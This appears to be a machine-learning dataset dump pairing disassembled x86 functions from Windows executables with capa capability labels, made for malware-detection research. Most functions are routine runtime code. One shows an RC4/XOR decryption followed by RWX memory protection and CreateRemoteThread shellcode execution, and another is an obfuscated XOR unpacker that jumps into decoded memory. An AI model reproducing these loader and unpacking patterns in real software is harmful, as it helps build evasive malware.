joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412b4f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [ebp - 0x77c]
add eax, 1
mov dword [ebp - 0x77c], eax
add esp, 4
pop eax
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x8a4]
cmp ecx, eax
jne 0x412b80
mov dword [ebp - 0xcd4], 0
jmp 0x412bef
push edi
xor edi, 0x11d0a
xor edi, 0x17e40
pop edi
push esi
push edi
add esp, 4
sub esi, 0x321f
pop esi
push eax
push ebx
add esp, 4
sub eax, 0xed0e
xor eax, 0xf2b8
or eax, 0xb29b
pop eax
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x8a4]
or ecx, 0x20
cmp edx, ecx
jge 0x412be5
mov dword [ebp - 0xcd4], 0xffffffff
jmp 0x412bef
mov dword [ebp - 0xcd4], 1
cmp dword [ebp - 0xcd4], 0
jne 0x412c06
mov edx, dword [ebp - 0x19b0]
mov dword [ebp - 0x3f8], edx
jmp 0x412c17
jmp 0x4129f0
Function at 0x401c27
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x220
mov eax, dword [0x46ff00]
xor eax, esp
mov dword [esp + 0x21c], eax
mov eax, dword [esp + 0x224]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x238]
xor ebp, ebp
push edi
mov dword [esp + 0x28], eax
mov ecx, ebp
mov ebx, 0x100
mov eax, ecx
mov byte [esp + ecx + 0x2c], cl
cdq
idiv dword [esp + 0x240]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, ebx
jl 0x401c5a
mov esi, ebp
mov edi, ebp
mov dl, byte [esp + esi + 0x2c]
movzx eax, byte [esp + esi + 0x12c]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x401c9e
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x2c]
mov byte [esp + esi + 0x2c], al
inc esi
mov byte [esp + edi + 0x2c], dl
cmp esi, ebx
jl 0x401c7b
mov ecx, ebp
mov edx, ebp
mov edi, ebp
cmp dword [esp + 0x238], ecx
jle 0x401d9d
mov dword [esp + 0x24], ebp
inc ecx
and ecx, 0x800000ff
jns 0x401cd7
dec ecx
or ecx, 0xffffff00
inc ecx
mov bl, byte [esp + ecx + 0x2c]
movzx esi, bl
add edx, esi
mov dword [esp + 0x1c], ecx
and edx, 0x800000ff
jns 0x401cf4
dec edx
or edx, 0xffffff00
inc edx
lea eax, [esp + 0x24]
mov dword [esp + 0x20], edx
push eax
push ebp
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
call fcn.004013ee
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0x10]
sub eax, ebp
sar eax, 2
mov eax, dword [ebp + eax*4 - 4]
add eax, 0x41c300
push eax
push 0x470d88
call fcn.004010d0
mov edx, dword [esp + 0x28]
pop ecx
pop ecx
mov ecx, dword [esp + 0x1c]
mov al, byte [esp + edx + 0x2c]
mov byte [esp + ecx + 0x2c], al
mov byte [esp + edx + 0x2c], bl
movzx eax, byte [esp + ecx + 0x2c]
mov ebx, dword [esp + 0x28]
add eax, esi
movzx eax, al
mov al, byte [esp + eax + 0x2c]
xor byte [ebx + edi], al
test ebp, ebp
je 0x401d8d
mov eax, dword [esp + 0x18]
sub eax, ebp
and eax, 0xfffffffc
push eax
push ebp
call fcn.004013c2
mov edx, dword [esp + 0x28]
xor ebp, ebp
pop ecx
pop ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
jmp 0x401d8f
xor ebp, ebp
inc edi
cmp edi, dword [esp + 0x238]
jl 0x401cc6
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404ae9
add esp, 0x220
ret

Function at 0x4020fc
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x402127
mov al, byte [edx + ecx]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [esp + 8]
jb 0x402108
ret
Function at 0x40230a
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x46ff00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.00401648
push 0xc
call fcn.00404aab
pop ecx
test eax, eax
je 0x402343
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004016a1
jmp 0x402345
xor eax, eax
mov esi, dword [eax + 4]
shl esi, 2
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
lea eax, [ebp - 0x20]
mov ebx, 0x4ac
mov edi, 0x46fa28
sub esi, 0x40
push eax
push 0x40
push ebx
push edi
push 0xffffffffffffffff
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
push edi
mov dword [ebp - 0x24], esi
call fcn.004020fc
push 0x26
push section..data
push 0x49a00
mov esi, 0x426028
push esi
call fcn.00401c27
add esp, 0x18
lea eax, [ebp - 0x24]
push eax
xor eax, eax
push eax
push esi
push 0x46fbb0
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateCaret]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea ecx, [ebp - 0x1c]
call fcn.00401fb0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404ae9
leave
ret

Function at 0x4039ed
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x403a0e
jl 0x403a05
test edi, edi
jne 0x403a0e
xor eax, eax
xor edx, edx
jmp 0x403acf
cmp dword [ebx + 0x38], 0
je 0x403a23
push eax
push edi
push dword [ebp + 8]
call fcn.00403ad5
jmp 0x403acf
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x403a6a
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x403a6a
cmp eax, edi
jb 0x403a44
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00405610
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x403a70
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x403ac4
mov ecx, ebx
call fcn.00403116
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x403aaf
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040a942
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x403ac4
jmp 0x403a82
test edx, edx
je 0x403ac4
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040a942
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x411093
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00410f04

Function at 0x41148d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004055e0
mov eax, dword [0x46ff00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004100f9
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4114cf
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41162b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041b320
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x471820]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00412484
mov ecx, dword [esi*4 + 0x471820]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x411624
cmp eax, dword [edi + ecx + 0x24]
jne 0x411624
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411624
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00412484
add esp, 0x14
test edx, edx
jl 0x411624
jg 0x41159a
test eax, eax
jb 0x411624
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x411624
jl 0x4115b4
cmp dword [ebp - 0x1008], eax
ja 0x411624
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4115d2
test ebx, ebx
je 0x41160b
cmp ecx, edi
jae 0x41160b
mov al, byte [ecx]
cmp al, 0xd
jne 0x4115ec
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4115f8
cmp byte [ecx + 1], 0xa
jne 0x4115f8
inc ecx
jmp 0x4115f8
movzx eax, al
movsx eax, byte [eax + 0x4701b8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4115d2
cmp edx, ebx
jne 0x4115d2
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x411629
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00404ae9
leave
ret
Function at 0x411922
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x471820]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x411962
cmp byte [ebx], 0xa
jne 0x411962
or byte [eax + edi + 0x28], 4
jmp 0x411967
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x411a65
mov al, byte [edx]
cmp al, 0x1a
je 0x411a47
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x411996
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4119bb
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4119c5
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x411978
jmp 0x411a65
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411a42
cmp dword [ebp - 0xc], 0
je 0x411a42
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x471820]
test byte [eax + edi + 0x28], 0x48
je 0x411a1c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x411a07
mov byte [esi], dl
jmp 0x411a18
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x471820]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x411a65
cmp byte [ebp - 1], 0xa
jne 0x411a2b
cmp esi, ebx
jne 0x411a2b
mov byte [esi], 0xa
jmp 0x411a64
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004124a2
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x411a65
mov byte [esi], 0xd
jmp 0x411a64
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x471820]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411a61
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411a65
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x411a6e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x471820]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x411ab1
cmp word [esi], dx
jne 0x411ab1
or byte [edi + eax + 0x28], 4
jmp 0x411ab6
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x411c09
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x411be9
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x411af8
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x411b2e
cmp eax, edx
jae 0x411b3a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x411ad0
jmp 0x411c09
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411be5
cmp dword [ebp - 0x14], 0
je 0x411be5
mov eax, dword [ebx*4 + 0x471820]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x411bbd
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x411b86
mov word [esi], cx
jmp 0x411bb9
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x471820]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x471820]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x471820]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x411c09
pop ebx
cmp word [ebp - 4], bx
jne 0x411bce
cmp esi, dword [ebp + 0xc]
jne 0x411bce
mov word [esi], bx
jmp 0x411c06
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004124a2
add esp, 0x10
cmp word [ebp - 4], bx
je 0x411c09
push 0xd
jmp 0x411c02
mov ecx, dword [ebx*4 + 0x471820]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411c00
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411c09
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x423008]
jne 0x401010
repz ret
jmp fcn.00401798

Function at 0x4082ab
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404f7f
and dword [ebp - 4], 0
cmp dword [0x425774], 0
mov ebx, eax
jne 0x40835c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40840d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40840d
push eax
call fcn.00404f0d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x425774], eax
call esi
push eax
call fcn.00404f0d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x425778], eax
call esi
push eax
call fcn.00404f0d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42577c], eax
call esi
push eax
call fcn.00404f0d
pop ecx
mov dword [0x425784], eax
test eax, eax
je 0x40835c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404f0d
pop ecx
mov dword [0x425780], eax
mov eax, dword [0x425780]
cmp eax, ebx
je 0x4083b4
cmp dword [0x425784], ebx
je 0x4083b4
push eax
call fcn.00404f88
push dword [0x425784]
mov esi, eax
call fcn.00404f88
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4083b4
test edi, edi
je 0x4083b4
call esi
test eax, eax
je 0x4083ab
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4083ab
test byte [ebp - 0xc], 1
jne 0x4083b4
or dword [ebp + 0x10], 0x200000
jmp 0x4083ed
mov eax, dword [0x425778]
cmp eax, ebx
je 0x4083ed
push eax
call fcn.00404f88
pop ecx
test eax, eax
je 0x4083ed
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4083ed
mov eax, dword [0x42577c]
cmp eax, ebx
je 0x4083ed
push eax
call fcn.00404f88
pop ecx
test eax, eax
je 0x4083ed
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x425774]
call fcn.00404f88
pop ecx
test eax, eax
je 0x40840d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40840f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b790
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [0x270d8b4], 0x930
jne 0x40b7ad
push 0x421a78
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
cmp dword [0x270d8b4], 0x114e
mov eax, dword [ebp + 8]
mov dword [0x270d5d0], eax
jne 0x40b7d3
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov esp, ebp
pop ebp
ret
Function at 0x30008ccd
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push 0x1c
push 0x3001e2a8
call fcn.3000aac1
mov edi, 0x94
push edi
push 0
mov ebx, dword [sym.imp.kernel32.dll_GetProcessHeap]
call ebx
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x30008b52
push 0x12
call fcn.30008ab0
pop ecx
mov eax, 0xff
jmp 0x30008cc7
mov dword [esi], edi
push esi
call dword [sym.imp.kernel32.dll_GetVersionExA]
push esi
push 0
test eax, eax
jne 0x30008b6d
call ebx
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x30008b48
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [esi + 4]
mov dword [ebp - 0x24], eax
mov eax, dword [esi + 8]
mov dword [ebp - 0x28], eax
mov edi, dword [esi + 0xc]
and edi, 0x7fff
call ebx
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebp - 0x20]
cmp esi, 2
je 0x30008b9f
or edi, 0x8000
mov ecx, dword [ebp - 0x24]
mov eax, ecx
shl eax, 8
mov edx, dword [ebp - 0x28]
add eax, edx
mov dword [0x30022500], esi
mov dword [0x30022508], eax
mov dword [0x3002250c], ecx
mov dword [0x30022510], edx
mov dword [0x30022504], edi
call fcn.30008ad6
mov dword [ebp - 0x20], eax
push 1
call fcn.3000aa67
pop ecx
test eax, eax
jne 0x30008be5
push 0x1c
call fcn.30008ab0
pop ecx
call fcn.3000a888
test eax, eax
jne 0x30008bf6
push 0x10
call fcn.30008ab0
pop ecx
call fcn.3000a48d
and dword [ebp - 4], 0
call fcn.3000a24d
test eax, eax
jge 0x30008c10
push 0x1b
call fcn.3000979b
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x30024094], eax
call fcn.3000a118
mov dword [0x300224e0], eax
call fcn.30010c6b
test eax, eax
jge 0x30008c36
push 8
call fcn.3000979b
pop ecx
call fcn.30009dec
test eax, eax
jge 0x30008c47
push 9
call fcn.3000979b
pop ecx
push 1
call fcn.300098b7
pop ecx
test eax, eax
je 0x30008c5a
push eax
call fcn.3000979b
pop ecx
mov eax, dword [0x3002251c]
mov dword [0x30022520], eax
push eax
push dword [0x30022518]
push dword [0x30022514]
call main
add esp, 0xc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], 0
jne 0x30008c88
push eax
call fcn.30009a17
call fcn.30009a39
jmp 0x30008cbd
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x1c]
call fcn.3000ab06
ret
call fcn.30010c6b
jmp 0x30008b17
Function at 0x30009094
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x300213ec]
jne 0x3000bab2
repz ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x30022a80], eax
mov dword [0x30022a7c], ecx
mov dword [0x30022a78], edx
mov dword [0x30022a74], ebx
mov dword [0x30022a70], esi
mov dword [0x30022a6c], edi
mov word [0x30022a98], ss
mov word [0x30022a8c], cs
mov word [0x30022a68], ds
mov word [0x30022a64], es
mov word [0x30022a60], fs
mov word [0x30022a5c], gs
pushfd
pop dword [0x30022a90]
mov eax, dword [ebp]
mov dword [0x30022a84], eax
mov eax, dword [ebp + 4]
mov dword [0x30022a88], eax
lea eax, [ebp + 8]
mov dword [0x30022a94], eax
mov eax, dword [ebp - 0x320]
mov dword [0x300229d0], 0x10001
mov eax, dword [0x30022a88]
mov dword [0x30022984], eax
mov dword [0x30022978], 0xc0000409
mov dword [0x3002297c], 1
mov eax, dword [0x300213ec]
mov dword [ebp - 0x328], eax
mov eax, dword [0x300213f0]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x300229c8], eax
push 1
call fcn.3000bbb6
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x30003f60
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x300229c8], 0
jne 0x3000bba2
push 1
call fcn.3000bbb6
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x30010c6b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x30010c7a
pop dword [ebp - 0x1c]
mov eax, 0x30010c7a
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x3d55d
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x505f
xor edx, edx
add edx, eax
mov ebx, 0x3003b800
add ebx, dword [ebp - 0x1c]
mov edi, 0x8fe140a5
xor dword [ebp - 0xc], 0x8e118ef5
mov esi, dword [ebx]
add dword [ebp - 4], 0x6135e99a
xor esi, edi
xor dword [ebp - 0x10], ecx
mov dword [edx], esi
xor dword [ebp - 0x14], ecx
add edx, 0xb13e3b9d
sub edx, 0xb13e3b99
add ebx, 0x21d96ec2
add ebx, 0xde269142
loop 0x30010cbf
add eax, 0x1344f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2363def1
sub ecx, 0xf363def1
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x30014f98
Capabilities:
Query environment variable

Disassembly:
push 0x234
mov eax, 0x3001d37d
call fcn.300090a2
mov edi, ecx
lea ecx, [ebp - 0x28]
call fcn.3001458a
and dword [ebp - 4], 0
push 0x104
lea ecx, [ebp - 0x28]
call fcn.30010c6b
mov ecx, eax
call fcn.30010c6b
lea ecx, [ebp - 0x28]
call fcn.30010c6b
mov esi, dword [eax + 0xc]
lea ecx, [ebp - 0x28]
call fcn.30010c6b
mov eax, dword [eax + 8]
push esi
mov esi, dword [sym.imp.kernel32.dll_ExpandEnvironmentStringsW]
push eax
push dword [edi + 8]
call esi
lea ecx, [ebp - 0x28]
mov ebx, eax
call fcn.30010c6b
cmp ebx, dword [eax + 0xc]
jbe 0x3001502a
push ebx
lea ecx, [ebp - 0x28]
call fcn.30010c6b
mov ecx, eax
call fcn.30010c6b
lea ecx, [ebp - 0x28]
call fcn.30010c6b
mov ebx, dword [eax + 0xc]
lea ecx, [ebp - 0x28]
call fcn.30010c6b
mov eax, dword [eax + 8]
push ebx
push eax
push dword [edi + 8]
call esi
mov ebx, eax
test ebx, ebx
jne 0x30015067
push 0x300051f8
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.30010c6b
add esp, 0xc
push 0x43
pop ecx
mov esi, eax
push 0x3001de44
lea eax, [ebp - 0x134]
lea edi, [ebp - 0x134]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.30010c6b
lea ecx, [ebp - 0x28]
call fcn.30010c6b
push eax
mov ecx, edi
call fcn.30010c6b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.300145eb
call fcn.3000917a
ret